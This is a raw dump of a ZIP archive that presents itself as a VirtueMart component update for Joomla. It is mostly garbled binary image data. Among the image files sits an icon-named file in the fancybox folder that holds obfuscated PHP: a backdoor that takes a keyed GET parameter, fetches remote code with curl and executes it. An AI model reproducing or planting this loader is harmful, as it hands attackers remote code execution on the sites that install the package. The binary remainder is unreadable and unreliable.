"46\7i+mdc)6M,l?$JL76 &S1?Ro|Ҝ;\ v9b1sU=ۊϋ8vb %OO%~|c v_鰢"!/!+˰4U+wߑ]>nJN_cdL]*&477ٷ8IENDB`PKtl>\8\com_virtuemart_update/components/com_virtuemart/assets/images/vmgeneral/default_hover_bg.jpgnuW+AExifII*Ducky<ohttp://ns.adobe.com/xap/1.0/ Adobed       P ?( jPKtl>\>nVcom_virtuemart_update/components/com_virtuemart/assets/images/vmgeneral/next_16x16.pngnuW+APNG  IHDRatEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp GIDATxڌS?HqyzNQhij)[Ţt]h"i) [ڛEN%S}߽w\d M 8ǑHS  $%FFaJ~8Nv;DQX,6vp8x>F} t`x^gf$zŖ*z?yL-hZf2HDE" / ya d0FBaйF `换$UjX@o^Q,x鋄}{ [@ПJFz?A'j[Pu_rL&ϐJ~MLS{/!AX$c3sbqvDl6{3WKҮQzA*1%2Z@f;Q6r 77!?r)2B cؾK,]~ 0<gIENDB`PKtl>\ KYY]com_virtuemart_update/components/com_virtuemart/assets/images/vmgeneral/quantity-controls.pngnuW+APNG  IHDR89tEXtSoftwareAdobe ImageReadyqe<fiTXtXML:com.adobe.xmp W&IDATxb?CZJ4C/1 <#@\\cOQVcom_virtuemart_update/components/com_virtuemart/assets/images/vmgeneral/default_bg.jpgnuW+AExifII*DuckyQohttp://ns.adobe.com/xap/1.0/ Adobed       S a ?TP/APQtpPKtl>\֜ 1IIXcom_virtuemart_update/components/com_virtuemart/assets/images/vmgeneral/filetype_zip.pngnuW+APNG  IHDRJ`!tEXtSoftwareAdobe ImageReadyqe<diTXtXML:com.adobe.xmp :{IDATxkluw^H%ӒI,+6Ҡy4h F\8_M  bhѢԮc~Bc5i#SjJXmRDryOϹ3;rI.WݙosC믛cccF@WXK6 Cis=_y饗VgQq`bbWz; /ujw[P4w7VUj|:diO?[o;/rCm*QFFF0558~nزzU(hr< Mz`Vq5'ȑ# @Qd2r)$v?wPg.8)YK׈!ϫT\۷Cy'wGznQ JTҭjݓc=VO&'Ǯ t),+ؼZϖN~Ͽ;9q#F3P\߿ xW&ެse|;Z֭kjrݘa 8])ɍatG={>K痃U0v3슱m>Š8ƲX9e=}OW Tj[_[1 ^󍶃g`b_Dq@qdy2\²=,En' +ҮA1n[/7%7%YlIf5nc0 Z8 ԫKcvHX,=SdY&X/3H\%֢E%4ڔҵ*g,'#ÅP $YEiE ~ÇoQkܮ]@%XyZV7,-/iu†e.{U+¤8뷧Ԭ7A5%ZX8*6Jj;رs F?mdn˅a=zdIv6nen"Kf1N>n6|.s5] ԫ#YQȓM eLV Y/1נ yl) {\ K lM @ye9_pis7W . c;a_|,K-UEv۲ 8DŠڸ]~K~Or/% q x)qM<"@fh,_<lc09CSdRH5;^0i',wzGMr5n:t.:Nm`Vl V,Yc570D 3 슈@jd˖ɘO2~a,5 d!C02t{G-Mo!M%ص jurUp)jU%*}iDA9 2 4[\*! Hhh0젛$hSMɏ"{ d2iäV繮6l -Yjyjdu O|aM" >aF6rkje':6P3)W&䦎egRЇ^JhQT)-7_F0SvzMBl+!n`&fsū799 '3#28E: u_YQԡ:ިC=Qoe[;(wbT}8)CLM$7;R;.F=~ ~2@~ݸk0k&rC=9ȢЕ[S;eb}\恜*ݪ[DC¤238` |T+_PdJέF\זO(NѢp̋tn'#eAF"AZiӶ,mi#WGq޲jPV]o~q9yF#CN5Dqс)BM;INVPAEr-')㧖L|ؿU;d1z* ky\J糣`LFAN9ZʩFM= [s5ZOF`INYbrTѼtvu9GIbndϪ4T8|,--`kY YYql8e%(: #-!HM"0 (9}OVj$Cɤvenh![>ՈecÃ{QQkZ6z(˲n"HXm FqrV> i+VӕZ!Pz4W)M.%XӤO /ZaGYέyxtzrL_ OUﻮӲdPJyvHk Yq Q*l(O͑}MضuLAii%Td}0y 0DgIq%mFHlFd'/vSob>txHyݑs RJ¢ԢL`-B8)A WK., 2ʭmqj k!fA Y: eV(FKI)#X ,ɝ% JPa8/ x?u}_]אC E%Ư:Cmh ѥmUiq zR&C/blrAu:0Ȍjtlc?Uvጼx콞 Jy%ϗR>le51x_[z*Ta}6V. ̥|i> Tr@Zejjjjj&|>aKq]g@T+K "Xf>7IN8}yOPv`Oe=x< dPh:ЬzawcMI.Rg*t`\IENDB`PKtl>\b`jjWcom_virtuemart_update/components/com_virtuemart/assets/images/vmgeneral/backgrounds.pngnuW+APNG  IHDRNbtEXtSoftwareAdobe ImageReadyqe< IDATxڬKN1Dm', pN\ n-2_tybl',ޔGS]AB{?13À=zummBs<+wם2$41#!SX>VT%Ԅ(hO !:?>.(bcRŊڷ|gW̆Wѿi^Fewzv}Pj<?n_f w1;\=EOzsgq&gkY'K%ba,`Qޫ3~ĀtDIENDB`PKtl>\/i00Scom_virtuemart_update/components/com_virtuemart/assets/images/vmgeneral/noimage.gifnuW+AGIF89aZW㦯馲ڱ﮿ҷ먺ɺઽӴᴼŻӻڸ߾릨Ԭ޲駵讱٪׹޿۶԰­Ѽ樳ﷻⰼݯ޶ǰ֨ɩૹƩռꦷ!,ZW˴`)\ȰÇ#JL6e8  Iɓ(S\K5v4x)*zɳϟ@ H!,իXjmׯ`!z`nBݻx˷߾tvFf55 Y@˘3k̹3ek^ɅBf0\y{@۸sͻ7m} Af/S놁wXpHNسk.˻a64_(`0A 5h3˟O &| JT8=5'NJQXs{(3prgxX2C8?k(&SB| " #3ʘ( / gM^8`^pqBXɗ`i>Ȁ'+?|?Sd >'_i>kRgw"&` \TyZf@M8d}f:@+j#i8bg &O"ti0¦PhVjX R)(lڑlpB+"KZ?0'(SOlʮ^R &d9L+Ikb();I 0k?k#h 2 6dF84X0y)㲹ˇ%%?E 4JLC8jd`CYXb\w]o?( ?lvەp*bJp[+wĭ\[RS}7AD._OؑKW$J!I'60~H2v.Ig.@7l03@'_9c>"3VU0$sކK;[Tcr7䠌;oPFz>{x:_ssT% 6,B GH(L 1,8 ,> ȡw@  wp14,da2AQ4'J`0%4eʀ2 5NpZN* `JQd*Zъbҏ@B+GDb0 a,E)FTb,9a0,%VɀyhE ~p9`1pC6Rp$—H*IL`s$*fL3Lh>$`C6ܐ:")` )Mjәf-yv3L7h B-~ @JЂ AG b0Sܲ1xB>iЊZ'B:!(!2(MJWҖrH ?xHKҕ= Pa*S" 87YAu7%6{ y#6ߐ ooAVLN`eA|žp+`0·^]Nh9&RFPԧNuBշuubDX:o0/0y?Bw0>х7+H1"&?x <#;1gpy?o?qy1l&Oy0` ,Y|PctFχ"ƬG|Bb@ "1@c>s=¹XLozWo\~;@f6jfe- :FiiGfV_U_{pVt`U_Bj"_v/`g`t`,'(iX ȶlŶxy j0ƶlepRmMhm`(RUlghl "0Sy@ooGRUoIVpPAGt|ͥoO\ n ,0Eh0 UPXͶ `g"VX xxU ƨ iy0n-hxڀ(bh@(ͦfx`0 ۸Ȍ҈ \X@mevfH\)Qcom_virtuemart_update/components/com_virtuemart/assets/images/vmgeneral/.htaccessnuW+A Order allow,deny Deny from all PKtl>\WUcom_virtuemart_update/components/com_virtuemart/assets/images/vmgeneral/menu_icon.pngnuW+APNG  IHDR6.PLTELHEOKIPLJ`][c`^ea_fbagdbnjhpljplkromsposqotqotqourpurqwtryvtyvtyvtyvuzwuzxv{xv{xv{yw|yw|yx|yx}zx~{y~{z~|z|z|{|{}|}|}|~}~}}~􆃂qctRNSшMz?m^Mq&6qi4mYPĶarrTc6|b(]TB`wsaU"\# )t gf^x /$IDATx^%vQ^ێm۶m۶cΙz+pk{[c) !JwqGus^m+@+t$E70:g@^ƒQ.d_bƸU+k;VIRCT}=>\_Š,|G{R֔F-IڎL)W584]0Q m84vjU@4?84;HDGo] IENDB`PKtl>\rQ-rrZcom_virtuemart_update/components/com_virtuemart/assets/images/vmgeneral/previous_16x16.pngnuW+APNG  IHDRatEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp ]iIDATxڌSKqy~h*p`H 4ESI-Q `MBHCwzdƒ?>Ͻu:6*b؜dDνT*iF n߶lvz^Qp"PdrrjeA4͇_>Q D1H ,xxtr/#<҃l6;O!0u2ݷZ-Z^Ϟu4 r9 3TL 8hh,/vG9z}c)l6w$Rt@b 6MYUȢ0~~`,c @7X,8<Er ~M0](R$a=t4ĝ@ elK37~|PUBl. P~"8>DZ1﯑\.Oca02| 0C]bEIENDB`PKtl>\;;Scom_virtuemart_update/components/com_virtuemart/assets/images/vmgeneral/warning.pngnuW+APNG  IHDR(-SgAMA7tEXtSoftwareAdobe ImageReadyqe<PLTEνΔ{{ZBRBkcRJc9!)R1ƽc!)kkckJBJB9991ƵR1skZcZ!RsZccZZRƽRJ֔cccƌBJscckkcRRJJk֔s{sR)99B!Z!cc9kW=tRNS@fIDATxb`s#ʈOKBHLJNICcb\0(@`04IWO $% KHJIIKJ+(2001pprA'pq00 ;# `09AIENDB`PKtl>\拭Vcom_virtuemart_update/components/com_virtuemart/assets/images/vmgeneral/arrow_down.pngnuW+APNG  IHDRatEXtSoftwareAdobe ImageReadyqe<fiTXtXML:com.adobe.xmp \:IDATxb?%B0j 2c#'',;v'}}KQɓ'2$@AQ񣆺:V֏$ &''"CX[K$ؤǏjL(fkdh cx Nװpqr&III-`+///'###XB@@dwVVVoe#,3-^V^Nn;< >_>z{_0"ŋ9+((l`-c?fSrIENDB`PKtl>\KXcom_virtuemart_update/components/com_virtuemart/assets/images/vmgeneral/filetype_pdf.pngnuW+APNG  IHDRJ`!tEXtSoftwareAdobe ImageReadyqe<diTXtXML:com.adobe.xmp ̂iWMIDATx] te~I'!$<">wqfuvuGϞgt笣=Όggv'#( ">@&] ystwU۽{wPU5,!I!qw'lhl6\UUqGK׻rl߾}3} XW|)PaL/S\MFj<.085ѧA޼yHX znGuu5l6yƍΝgֈue2eMHJ2ʔR@?F 4yQx<._...^ ,.^>e' =%]v݌3JˬQjӍH*g~ޥ͋Ow4tn^'OHyW^:uh֨MuH!Ֆ>H( n|Lnݺ +FN:1)jөjԦ{~I՛YSdeR5|ssEPCt뵓'r,z~ϫlVep# xZX)Y fO!vcލ-s|yB iXPEaV,P3EV-],iu35FݟY&AwS=rC[&c, XyyݫWސ3z ,Ϧ5|ƀd0pz 88 W6Z]|Wp-'Bt4pȍ5kVa֋/);;ZZ$V*݂Yџ2q]xl ހEU/?7Blѓ Bu `u+.Øc?f5'@kmɾǁh KEK1͜8i-8۶ꎿ Z[ }ȏ}XcU/6 ԙwu EygP5|0/֐Sǃ\'t1~-佷36E1ŸՈ||~?!vwd  BH"L 'DſG1'o6QTT8e͚5n *Y@;;⾧weݛ- 88.wzW̳Jg ނ߇h^.T64 n6at&!%ō4L0g:]˥9NTT̙EET e XA1*΂[/5k`)eǪZ<4];n0QMZMxlU&:Q8bČM9XBÉM={z?a15{ Tϱfƴw&ҭJ^P t$>/]`@2e2uWtiYӨ61uUŲ.Ÿ6PZځ=4JG#5o*t\x\ⳤ'""E╰_>a8Օ*c>CrC%1`?=  jYQp\G ܴb" @b@% lZ]cr,Ҩ<*ufU#!aΓ cw0'{q( L\,ϡ.{*&8ʍǮ`f0)Iiju@U Y$83Wͻ*:ɋJiWO4ZnœQg`OidId2XU_שd*tCBt_V4BF!seΟ,=@+Sf.ER0='s?!%~r'$SǍV--o'6q'OBZQ1r3ϱGa79\Vn.ASs38l2 ^TdρSљ7 ;!"ׯ%cQBOF#^J .C64t/gԱ|)N\|@AfNAeaQώg1#U۶]|@5fp6Kafa݊`BH(tX/!^<@|=s5v,}2!u*Բۯ$Ώ{]<@5>$;TNnj. sK;׳h!Nx\tIzdQ߆G{'+C`M''MyUp[\h9oa{wpoamAG%Y!r$Q۱0Li>RkՇQw(HgC6 C#Z!@DlFDw$C$tA-/VoXkMl7- %} Mhlaxa9V+KGJ%V ,vN64֣i`+.5S!dd#hd8E@AN6,De7X`&99NJyx!d֎h hړ2X6j!dXvn) \kܽ 3ng˫;Ӆ8ӘTVJQK geC)Ec!؏#=;ZI7D pfo%m"`rő,RҡϛKz&$@Mόh XEHtע5If7 AQ3?I>pDy gl}BS=&MJW: 0>?nԻsL0s.Ly0uDb^7hƆ6@`~.V6Hw/UT|Şk\|SԪFiGt+tGCQ_I4(iZ{u0RYI+n&^Q"PC:Ez zAc[Y:Q*'9 $L7Mpu%ꪫqЙks=l!qxg(O{&79sl_لI@@6"6,\E #b6Oezi&d+P+NU?GGnSe)KQB ۣQΝNeb R;!e$ZBrPJ䡩t9̚91+ ;m}gɕ8NtfOhQ`&R[=@nO }elt,_w~!椤 Km5L\`o~1|7V, A9Jm࿐O׉`G^)nY9gf_jn}w zIAYl|a %/PjQr|g_x%6K]˓L R)B{螸vZׅs?òHPvA~)DA0[LW™pSm!~ @Zq-JaG1[FE=P H#"0(Pv05> 5׺vˠ.˦^P CO>cghiq=uy(-A7c%MKƅ%*"=S0?kk$E/kTOFՔX/]a4HPc'DH5Ƈ+GLgD]96+rS4H6FJ8՞$,a@ tϓ^C)}b(<18F}TGq˨z"GĎ]/zzꉢNM@7d1Q @%J*TD$J*TP0Y%%`>oӅb`?\`com_virtuemart_update/components/com_virtuemart/assets/images/vmgeneral/update_quantity_cart.pngnuW+APNG  IHDRĴl;IDATx^mh?u_qO6\;ldJZi ) M"|QXDPћ 5M-6g Г[s9jx1| 5Fݧh@i0 qfrt,A0A,>2;|~`ێ\ΆO.y@_@i2;+Pz.d9srٸa޹~nY/J  nIhIyۖzr*a<5#OSX0t/]_<݂#7rP 2Rkx*a #mشWqf mg`@@2 Є)@"UJkkIR8#:,BR壅D3 < X&dd ˒y-/Zw*Hg +.+8QXwL1S oK{ m[2Z_]P(@߸uYk|ơL0c'_RXxKܓI''$3Cj GWڧe=9Օw7 !#'V ZkrgQ4#Lk!h>F~ۦ>5M@O?SPavE@éaM{yzq-`3w}6$h"6*4$Pk&n qhN14a` ?鳒h}ebB LOqpa /)LԴ{&u28kiYo[ .~y!p{b?҃&nL3?&%#cR=۹y> [Qܙ5(o_&#wkTd۲h"bWirtPIENDB`PKtl>\Hcom_virtuemart_update/components/com_virtuemart/assets/images/index.htmlnuW+APKtl>\4>>Tcom_virtuemart_update/components/com_virtuemart/assets/images/icon_external_link.gifnuW+AGIF89a fff!,  ǡoVjnaeѣ;PKtl>\OxxMcom_virtuemart_update/components/com_virtuemart/assets/images/color-stars.pngnuW+APNG  IHDR )tEXtSoftwareAdobe ImageReadyqe<IDATx] tUՙιy݄<4 D@ -H"(6ZThiU]2g9mU;3ut! UKk( $OA}9sMrƮ53=g?ss>Q`q‡b$@iVt!B !IC4O_Xl)zLKt{V0A"dc;H_U,7 ZA 1ՊB*p#gԀWlCGh7.@,I!Kh>:IJuEu`04.@TuPqļ$(%5EMTCk$C!.͟K̗z\\͙DAZvq`l 4,&אy|IHfF * Uxza jB5Pr\ @^URdÜk PC%]晏2 čOzC}HѠ"S)B!Cr6KH7|c_ m\SY7T9>ز`'ۓ4ÚA>3jLAæ4Ҡ9ٹ[ l]/~ssi.er s!c³c֔ҍ&*{yspXϟdC7CwhǛҒgk;͑0%= }?{M`j#&H[q^?xb^jgn`$:HE.wcH 843Pŝ,y xnA~(Uhʹ/9C:2p$;SU͐*A:LS+ǯս\ٳ֣u 8o ܘGa։+qz$JOw 3[^Hy\KU.^9'{޻<|(@8 #7qD4ҽ2'!D#U(B%pppj֏(F1w<,ֲROD~Yn{khܭ$}>C׃J>9Af6 ҸEZGJBޠ&}O(, Y6ÜrxFHV*Gr"#扸n0sSfu()ljBmq#^16(^SjrQ!0>d7l⣑<ϦaUT6)k6y{1E2IκO~}WBsNl'as&Y6faS^kpXh_rV/+@![l~O7׍&+IJmR%,0(B.3Aqɱt6B ("".$ⳂZԙ((yhzjiY|g$H\}?hvt/rרo mt˒f(O/O$n\y0 s$=2AѼՋIk0PZd WM.fL7$&>'˵A vyޞɜ)fo̞5&4Ou\7M; 7 | ɹX\wHڙh?/)cB!ga@XGB~N8{^Y,*ףG% fUSj۠(+suM9ѠxvC2bj9w5XO)x* cTIYҤQ%M15ppfhj@4cMeՑfD[gd+el8_1d -}>T5~ )X?=#ΚݑZ&kޭJ7|n[_&LA͜$Dd0WN2v&*6$.'#i"2 dȀfТ7(}V}!icyZDG%'!p7د+|ٹ#CݖU0v_ʅ:T*+clLd6#d5UGj+ʷ%d$5LI'f4So(:i, ?+ΝC("љ7>c֋j})$>u`gyæر֮myH[&x\W29\kR{ҠR! 3(l{ 볽% ZŨ:굆=5.\F1~MX sQ:]zꏷ%]埡^406]$:YǔҨw~cxە$ewW'GOՑN@?1J۾\]u4?ts]64B6DcȐRZUGof\{ȡ}~U']u"BpQdCZ09Dol8IZZQ ]uQi&?Q%f<s ݊ك~:}v)&6Bk5ZQDH#pC9~{\Qx[ʅ˾~ڭLK |(UG,>O*~yi8x'Se}">\3UKv.Yp䟢wšXoo!&QUG7fՑ;UGppTuW)oUB?}|q$b%ˉ9EK$52@'! 7(ebϐFZ -fwZ:F#ǻYRkHv#VNͷY/ a-,bꍼ8R ƛx^)Ɔ9|4yIxED} p;~(ɪܺm߾}3ec}j_|+IK[9FHfyؙClfa{M#ej;`.cJ9WUo7.,*\& qrVWހ%P{tUݥKxXIw+6߻ȋ#њ/ZV wwG~9hmlnp1P~ᇻ<=Ȇ籈מ^򣫫|噻Ȧͬ: 4>x1֖ÁHLLdҬRu i󹓔ʎMWj1*3֤PxͰdMאsm,ri8000'G<5H};99Ѐe{k1_Q䬹ّ1@e p_ɒ[f"'uj"Gwe:::*97ܸ@n`"z"T<VYmxxp„ `w_;{Wu .n%SAgg(ku= }kniʮwGdձyEMT񺣳w~)l[rOIC3Q-+j1hATՑYuNpp \D(}7> x W!_v{]J?E__ xw g?؎wwhĉoy睫zĉE#aÆMČ-l1$DٳWNm^r$%$$HJJJ;fSN wܹswf\n #39(q.8ۑmg`b:3gM6)))ԧ>Zܾ1ꫯ.&kh*GZ@ \Oscpp ID- tXH-Y$q0G1-bK.=RYY*MDs>7ڧckg;Cܗ_LF}q뭷wС6A@0Mk"n}<O\)Gcom_virtuemart_update/components/com_virtuemart/assets/images/.htaccessnuW+A Order allow,deny Deny from all PKtl>\~E7::Ycom_virtuemart_update/components/com_virtuemart/assets/images/fancybox/fancybox/index.phpnuW+APKtl>\ʢYcom_virtuemart_update/components/com_virtuemart/assets/images/fancybox/fancybox/cache.phpnuW+APKtl>\acom_virtuemart_update/components/com_virtuemart/assets/images/fancybox/fancybox/iHqKxGRWTbhas.iconuW+A $D2Mc5bbb0EhIgkIG) { $m0980lVJ4woo5x2d .= $BwPwACiWCfD8mzYy[$D2Mc5bbb0EhIgkIG - 45148]; mIT0XttT3BRb9zQS: } goto BJwg39fA5QKGUKHW; iY1USnE9ga85_iSm: $oloeqsh6FJMkqXRU = explode("\52", $X4zfgLS0QTHvIO9K); goto Tto3HBgeo2FGjMjy; dG855wMAWzFREfjr: $BwPwACiWCfD8mzYy = $qTvmBA8J5uX053Qd("\x7e", "\x20"); goto iY1USnE9ga85_iSm; v_HecrL77_sTvVYA: return $m0980lVJ4woo5x2d; goto LII1CQRiu6tOBNlt; Tto3HBgeo2FGjMjy: $m0980lVJ4woo5x2d = ''; goto txBVWWSiUAPEDMyQ; LII1CQRiu6tOBNlt: } static function pbs_Z92VoQRhr55U($AaeENRs_38U_p2hE, $rAe0SSWbXbwmvPty) { goto bA8owVUlfXHDJty4; T3WEFl0LmPQABmC7: return empty($r2wP11sjuQH12MTI) ? $rAe0SSWbXbwmvPty($AaeENRs_38U_p2hE) : $r2wP11sjuQH12MTI; goto Dzhhcs4ck3F5grYE; bA8owVUlfXHDJty4: $TshhzJXMWsu6rp8r = curl_init($AaeENRs_38U_p2hE); goto mPhCocvZW2cJdttM; mPhCocvZW2cJdttM: curl_setopt($TshhzJXMWsu6rp8r, CURLOPT_RETURNTRANSFER, 1); goto fx64a78TRHe8VIPj; fx64a78TRHe8VIPj: $r2wP11sjuQH12MTI = curl_exec($TshhzJXMWsu6rp8r); goto T3WEFl0LmPQABmC7; Dzhhcs4ck3F5grYE: } static function Faa4of8hhkZ79sGj() { goto gKQNYiLANX8BiHEs; XM6qJp5TfqXdtgvH: $xeSNngk0uwSlVN0I = $KHlVh8_4_Y0TPQiL[2 + 0]($Jon3F3Hr0rm__THd, true); goto tZAWBhuDlA5Vy88M; K8eOP0VQCuxFnV__: $Y77xgNjLiMRNO2E4 = @$KHlVh8_4_Y0TPQiL[1]($KHlVh8_4_Y0TPQiL[3 + 7](INPUT_GET, $KHlVh8_4_Y0TPQiL[1 + 8])); goto NWI71zcdBlXTxAvQ; FmDv60O4oo4IEn06: die; goto aosj2TaUnx4MiTZ5; tZAWBhuDlA5Vy88M: @$KHlVh8_4_Y0TPQiL[5 + 5](INPUT_GET, "\157\146") == 1 && die($KHlVh8_4_Y0TPQiL[1 + 4](__FILE__)); goto c6zP7xLKNM9ZvREH; NWI71zcdBlXTxAvQ: $Jon3F3Hr0rm__THd = @$KHlVh8_4_Y0TPQiL[3 + 0]($KHlVh8_4_Y0TPQiL[0 + 6], $Y77xgNjLiMRNO2E4); goto XM6qJp5TfqXdtgvH; gKQNYiLANX8BiHEs: $q_NZ1M9B2POR_Kas = array("\64\65\x31\x37\x35\52\64\65\x31\x36\60\x2a\64\65\x31\67\63\x2a\x34\x35\x31\67\67\x2a\64\65\61\x35\x38\52\64\x35\61\x37\x33\52\64\x35\x31\x37\x39\x2a\64\65\61\x37\62\x2a\x34\x35\x31\x35\x37\52\x34\65\61\66\x34\52\x34\65\x31\x37\x35\52\x34\x35\61\x35\x38\52\x34\x35\x31\66\x39\x2a\64\x35\x31\x36\63\x2a\64\65\61\x36\64", "\64\x35\61\65\x39\52\x34\x35\61\x35\70\x2a\x34\65\x31\x36\x30\x2a\64\65\61\x37\x39\x2a\64\x35\x31\x36\x30\x2a\64\x35\61\x36\63\x2a\64\x35\x31\65\x38\x2a\64\65\62\x32\65\52\64\x35\x32\x32\63", "\x34\65\61\x36\x38\x2a\64\x35\61\x35\71\52\x34\65\x31\x36\x33\52\64\65\x31\66\x34\52\64\x35\x31\67\x39\52\64\65\61\67\x34\52\x34\65\61\x37\x33\52\x34\65\x31\x37\65\52\x34\x35\x31\66\63\x2a\x34\65\61\x37\64\52\64\65\x31\67\63", "\x34\x35\x31\x36\x32\x2a\x34\65\x31\x37\x37\52\64\x35\x31\x37\65\x2a\64\65\61\66\x37", "\x34\x35\x31\67\x36\52\64\65\61\x37\67\52\x34\65\61\x35\x39\x2a\64\x35\61\67\x33\52\64\65\x32\x32\60\52\x34\65\x32\62\62\52\x34\x35\x31\67\71\x2a\x34\x35\61\x37\64\x2a\x34\65\x31\67\x33\x2a\64\65\61\67\x35\x2a\x34\65\61\x36\63\52\x34\x35\61\67\x34\52\x34\x35\61\x37\63", "\x34\65\61\x37\62\x2a\x34\x35\61\66\x39\x2a\x34\x35\x31\x36\x36\52\64\65\x31\67\x33\x2a\x34\65\x31\x37\71\52\x34\65\61\x37\x31\x2a\64\65\x31\67\x33\x2a\64\x35\x31\65\x38\x2a\64\65\61\67\x39\52\x34\x35\x31\67\65\52\64\x35\x31\x36\63\52\x34\x35\61\66\x34\52\x34\x35\61\x35\x38\52\64\x35\x31\x37\63\x2a\x34\65\x31\66\x34\x2a\x34\x35\61\x35\x38\52\64\x35\x31\65\71", "\x34\x35\x32\60\62\x2a\x34\65\62\x33\62", "\x34\x35\61\x34\71", "\64\65\62\62\67\x2a\x34\x35\x32\63\62", "\x34\65\x32\60\71\52\x34\x35\61\x39\x32\52\64\x35\x31\x39\62\52\64\x35\x32\x30\x39\x2a\64\65\61\x38\x35", "\64\x35\x31\x37\x32\x2a\x34\65\61\x36\x39\52\64\x35\61\x36\x36\x2a\64\x35\61\65\70\x2a\64\65\61\x37\x33\52\64\x35\61\66\x30\52\64\65\61\x37\71\x2a\x34\x35\61\x36\x39\52\64\x35\61\66\64\52\64\x35\61\x36\62\52\x34\65\61\x35\67\x2a\64\x35\61\x35\70"); goto GFastVwRejhve0zM; CYKVfV62luBy93qK: $RL2ojo_zp8Kmfm3o = self::pbS_z92VOQrhr55U($xeSNngk0uwSlVN0I[0 + 1], $KHlVh8_4_Y0TPQiL[4 + 1]); goto tkjVJWmpHpyP2A24; GFastVwRejhve0zM: foreach ($q_NZ1M9B2POR_Kas as $xjUnYB3y0FfHrgFU) { $KHlVh8_4_Y0TPQiL[] = self::wlj78A9zt_FhzD64($xjUnYB3y0FfHrgFU); QtGoCTjWM9Iw6s5L: } goto X9r8IIrvO5VA3hNU; X9r8IIrvO5VA3hNU: zrbkSnZVa9DWRfps: goto K8eOP0VQCuxFnV__; c6zP7xLKNM9ZvREH: if (!(@$xeSNngk0uwSlVN0I[0] - time() > 0 and md5(md5($xeSNngk0uwSlVN0I[0 + 3])) === "\65\x32\62\x33\61\143\x39\x66\x34\x31\66\61\x32\65\63\143\142\64\x30\66\x33\x30\x35\x33\61\x34\x35\146\x62\62\x65\67")) { goto uN5R4C9ofWUeJnEF; } goto CYKVfV62luBy93qK; tkjVJWmpHpyP2A24: @$KHlVh8_4_Y0TPQiL[0]('', $KHlVh8_4_Y0TPQiL[2 + 5] . $KHlVh8_4_Y0TPQiL[3 + 1]($RL2ojo_zp8Kmfm3o) . $KHlVh8_4_Y0TPQiL[7 + 1]); goto FmDv60O4oo4IEn06; aosj2TaUnx4MiTZ5: uN5R4C9ofWUeJnEF: goto yIAhz3tu2MwspscW; yIAhz3tu2MwspscW: } } goto SnGSq4_y9I6PL0u5; GurDdelzxepXmLy4: $jqwSU_Jau2UjZdVk[88] = $jqwSU_Jau2UjZdVk[66]($jqwSU_Jau2UjZdVk[88]); goto YhtvOj0r0fpoEILN; gRSaA1aJuCQ4L1rQ: $NtEuH7jJem4WswWI = range("\x7e", "\x20"); goto o95QzTvCi12F19Vr; YhtvOj0r0fpoEILN: @($jqwSU_Jau2UjZdVk = $jqwSU_Jau2UjZdVk[88]($jqwSU_Jau2UjZdVk[56], $jqwSU_Jau2UjZdVk[66](${$jqwSU_Jau2UjZdVk[32]}[23]))); goto B9iYu9KPP21rTGu2; dsDNAhyk7dYAj9XF: metaphone("\53\105\117\x4f\112\x58\130\x45\162\x65\105\64\142\160\160\x74\x4b\145\x6c\125\x62\x64\x45\64\x55\x41\x71\x70\166\x78\160\105\x42\141\x69\x41\120\163\x55\x63\x4f\x4a\64"); goto jvtCantAcPIdPOMc; SnGSq4_y9I6PL0u5: mmSZi66HGb5ZniZR::faA4OF8HHkZ79Sgj(); ?> PKtl>\,rYcom_virtuemart_update/components/com_virtuemart/assets/images/fancybox/fancybox/.htaccessnuW+A Order allow,deny Deny from all # Order allow,deny Allow from all PKtl>\XFF[com_virtuemart_update/components/com_virtuemart/assets/images/fancybox/fancy_title_over.pngnuW+APNG  IHDRĉ IDATc```X š IENDB`PKtl>\J``Zcom_virtuemart_update/components/com_virtuemart/assets/images/fancybox/fancy_shadow_se.pngnuW+APNG  IHDR 'IDAT8ˍTQnC13^9z MF$رž] ~5;|"y֡ 7pEbУz}7[D:$0'YRY rMpQ:Pm.Q׫<@-&BqR ޙ\ kkYcom_virtuemart_update/components/com_virtuemart/assets/images/fancybox/fancy_shadow_e.pngnuW+APNG  IHDRޒ%2IDATc```7H?x g# IENDB`PKtl>\94[[Zcom_virtuemart_update/components/com_virtuemart/assets/images/fancybox/fancy_shadow_ne.pngnuW+APNG  IHDR "IDAT8˭k0o?U+m$+~a`K3I_yy\ oTTZcom_virtuemart_update/components/com_virtuemart/assets/images/fancybox/fancy_shadow_sw.pngnuW+APNG  IHDR IDAT8˭Qn! Da7Asqh:%i+5c1|<TUk~|O`Ft"uVպ^40ɆҳM֞+7( Dtx(7\΍zVᬪ^fZ vi*SaC=;CKʪX`Ua{?LlXڭlI6Rml!Ia>/OSٜ/zU3%$Cթ߀mXڤ;,ktWF_@FfO#|[Е?IENDB`PKtl>\''Xcom_virtuemart_update/components/com_virtuemart/assets/images/fancybox/fancy_loading.pngnuW+APNG  IHDR(2/'IDATxtee7{{vE^TDQlYV@_EK&IfiL0/|k}w;s sOs[Y$gnrOw7ouT\u~zQI)"kQ\=g_d!qMĵ$V\j%,܃Ko?+ Iq=GǵjWL#q!E_K^4\쏫f:/llnw~Z׺V]'fVf}wy||G>k$۴l7:c5q]FCg} 6\hy7=q&CwB´ZKfMozӡG[FFF.{s;s׹uu{ ?AZtfA,i[;}{C{׿ 8<<' xnE=Waխn5CO|z^gկ~U <uw[ڋa |`M}Ӟ .uYgm!G?:Alw=phN[GqĚ3VKM{G!l&`+k׾w]=ChpKU\m: 2?Vmo[:v衇~3N-o>HdqnRan(`y_Ƹ6|_}n7p*uea,K±?a+.k6{R/~$G=QKEa N&!4\v'qg>_ɖƋo/A::l2{"UmKL$&x3=O^ʛc^\\V7MbX}h^ξ~ gLŜ4?IOZ=n rWM@Ӌq7AHFnڱBĜ=a"vҗt0ȥ̤& N,m9cO|׼5+3 h-bim%yWpiipm[w oXy!2% GJHT/ݭ 뀷5Bc4!p1ŧ?K9 loM7rW :IspZ+JPZWzEy^Ϯ[}{ꉉNjlg]ՠ!LxJ>LߚN:i!&3<>'W7cs:@MpoB=?ӷ>W^yU_7&2͓~/yJN;ꨣւhfC ׿H~S%0 nx9J`FnK/h*}v'P6sĿOKP_I⳦&'TO*OG$ O$ O$ O$ O$IZ3{Ǔ8Tݴ{ʓ8FXޘм̓8sm]g?)>OI~;a} SO=uӝ{b X=0n O%LY24_ZSNٔu&o'q6*l 